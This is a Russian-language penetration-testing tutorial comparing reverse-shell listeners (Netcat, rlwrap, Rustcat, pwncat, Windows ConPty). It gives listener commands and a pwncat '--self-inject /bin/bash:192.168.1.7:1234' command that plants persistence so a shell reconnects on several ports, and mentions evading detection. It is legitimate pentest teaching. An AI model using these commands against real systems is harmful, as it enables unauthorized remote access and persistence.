Skip to content

Latest commit

 

History

History
224 lines (133 loc) · 14.7 KB

File metadata and controls

224 lines (133 loc) · 14.7 KB

Лучшие альтернативы Netcat-листенеру

Источник: Hacking Articles

raj (hackingarticles.in) · 3 апреля 2024 · рубрика Penetration Testing

Пентестеры полагаются на разнообразные инструменты, чтобы устанавливать соединения и сохранять доступ в ходе оценок безопасности. Один из критически важных компонентов их арсенала — листенер (listener): программа, которая ожидает входящие соединения и обеспечивает связь со скомпрометированными системами. В этом блоге мы рассмотрим лучшие альтернативы Netcat-листенеру, подчёркивая мощные инструменты с улучшенной функциональностью и производительностью.

Кроме того, мы углубимся в различные варианты листенеров, исследуя возможности и сценарии использования популярных инструментов, таких как Netcat, Rlwrap, Rustcat, Pwncat и Windows ConPty shell.

Содержание

  • Генератор reverse shell
  • Netcat для начинающих
  • Rlwrap для OSCP
  • Rustcat для OSCP
  • Pwncat для Red Team
  • Windows ConPty для OSCP и Red Team

Генератор reverse shell

Чтобы сгенерировать reverse shell, можно использовать RevShells — он предоставляет множество команд для reverse shell и листенеров в зависимости от ОС, что идеально подходит для сценариев удалённого выполнения команд.

Тем не менее, существуют и другие онлайн- и офлайн-техники, помогающие генерировать reverse shell. Больше вариантов — в нашем предыдущем блоге «Easy way to Generate Reverse Shell».

Netcat

Netcat, часто называемый «швейцарским ножом сетей», — универсальный инструмент для создания простых TCP- и UDP-соединений. Его минималистичный дизайн и широкая функциональность делают его любимцем пентестеров. Ключевые возможности:

  • Базовая связь
  • Скан портов
  • Передача файлов
  • Удалённый shell-доступ

Вы можете запустить Netcat-листенер на порту 4444 на машине Kali. Используйте следующую команду для Netcat-листенера:

nc -lnvp 4444

После генерации команды reverse shell из генератора reverse shell выполните команду reverse shell на Ubuntu OS.

В результате, когда вы выполните указанную команду на Ubuntu OS, вы получите reverse shell на машине Kali.

Ограничение: однако пользователи замечают, что после нажатия стрелки вверх для повтора предыдущей команды терминал не дополняет команду.

rlwrap для OSCP

rlwrap, сокращение от «readline wrapper», повышает удобство работы с интерфейсами командной строки. Хотя это не специализированный инструмент-листенер, он улучшает опыт взаимодействия с shell-утилитами вроде Netcat за счёт:

  • Истории командной строки
  • Автодополнения

Преимущества Rlwrap перед Netcat

rlwrap добавляет историю команд и возможности редактирования в сессии Netcat, упрощая повтор и изменение команд. Пентестеры извлекают выгоду из функции tab-дополнения rlwrap, ускоряющей ввод команд за счёт подсказок возможных продолжений на основе текущего ввода.

Установка rlwrap проста, используйте следующую команду:

apt install rlwrap

После установки повторите весь процесс из раздела про netcat, но для reverse shell используйте следующую команду листенера, чтобы задействовать rlwrap:

rlwrap nc -lvnp 4444

Преимущество: заметьте, что после получения reverse shell команды можно автодополнять и повторять.

Rustcat для OSCP

Rustcat — современная реализация Netcat на языке программирования Rust, стремящаяся обеспечить улучшенную производительность и безопасность, сохраняя функциональность Netcat. Основные причины его принятия:

  • Полностью выполняет свою задачу по прослушиванию портов
  • Хранит историю
  • Дружелюбен к пользователю
  • Поддерживает udp
  • Использует цвета

Rustcat задействует функции безопасности памяти Rust, снижая вероятность распространённых уязвимостей вроде переполнения буфера. Его дизайн допускает параллельные соединения, позволяя пентестерам эффективно управлять несколькими сессиями. Как и Netcat, Rustcat доступен на множестве платформ, что обеспечивает совместимость с разными операционными системами.

Установить Rustcat можно с помощью cargo, используя следующую команду:

apt install cargo

cargo install rustcat

Обязательно добавьте /root/.cargo/bin в path.

echo $SHELL
nano .zshrc

Добавьте /root/.cargo/bin как Export Path.

После установки повторите весь процесс из раздела про netcat, но для reverse shell используйте следующую команду листенера, чтобы задействовать rustcat:

rcat listen -ib 1234

Преимущество: заметьте, что в rcat включено tab-дополнение, и его можно использовать для автодополнения команд.

Обратите внимание, что tab-дополнение в rcat работает и может использоваться для автодополнения команд.

Кроме того, у него есть более динамичные возможности, такие как UDP-соединение (-lpu) и функция истории (-lpH).

Pwncat для Red Teamer

Pwncat — насыщенный функциями инструмент в духе netcat, разработанный для пентестеров и участников red team, предлагающий ряд улучшений по сравнению с классическим Netcat:

  • Интерактивный shell
  • Скриптуемый интерфейс
  • Шифрованная связь
  • Закрепление (persistence)

Он предоставляет интерактивный shell с подсветкой синтаксиса и дополнением команд, улучшая пользовательский опыт. Пентестеры могут автоматизировать задачи с помощью интерфейса Python-скриптинга Pwncat, что даёт большую гибкость и возможности кастомизации. Он также поддерживает шифрованные каналы связи, гарантируя конфиденциальность при взаимодействии со скомпрометированными системами.

Установить pwncat можно с помощью pip, используя следующую команду:

pip install pwncat

После установки повторите весь процесс из раздела про netcat, но для reverse shell используйте следующую команду листенера, чтобы задействовать pwncat:

pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234

Преимущество: заметьте, что pwncat обеспечивает закрепление, создавая файл в каталоге /tmp/. Поэтому при потере соединения reverse shell всё ещё можно получить на том же ранее использованном порту — как persistence.

Закрепление можно проверить, запустив rlwrap-листенер на том же порту после завершения указанного соединения.

Pwncat предоставляет возможность создавать закрепление на нескольких портах, что можно сделать с помощью следующих команд:

pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234+2

Можно заметить, что вместе с портом 1234 reverse shell можно получить также на портах 1235 и 1236.

Windows ConPty Shell

Windows ConPty shell — более свежее пополнение арсенала пентестера, использующее функциональность ConPty, появившуюся в Windows 10. Он предлагает ряд преимуществ перед классическими shell:

  • Улучшенный TTY
  • Стабильность и совместимость
  • Техники обхода обнаружения

ConPty shell обеспечивает улучшенную функциональность TTY, позволяя получить более интерактивный опыт, включая корректную работу с утилитами командной строки вроде Vim и Python.

Преимущество: он более стабилен и совместим с современными системами Windows, представляя надёжный вариант для пост-эксплуатационных действий. Пентестеры могут использовать ConPty shell для обхода механизмов безопасности, избегая традиционных методов обнаружения.

Для команды листенера и payload reverse shell можно воспользоваться генератором reverse shell.

Вы можете использовать команду с сайта генератора reverse shell, чтобы запустить листенер на порту 443 на машине Kali.

Теперь используем payload reverse shell на windows-машине и запустим команду, скопированную из генератора reverse shell.

Заметьте, что reverse shell получен на порту 443 и это полностью интерактивная сессия.

Заключение

В заключение отметим: пентестеры располагают широким выбором листенеров, каждый из которых предлагает уникальные возможности и преимущества. Будь то простота Netcat, улучшенная удобность Rlwrap, производительность и безопасность Rustcat, продвинутые возможности Pwncat или современная функциональность Windows ConPty shell — выбор правильного инструмента зависит от конкретных требований оценки.

Понимая сильные и слабые стороны этих инструментов, пентестеры могут эффективно устанавливать и поддерживать доступ в ходе работ по безопасности.

Автор: Винaяк Чаухан (Vinayak Chauhan) — исследователь InfoSec и консультант по безопасности. Контакт — здесь.


linux ncat networking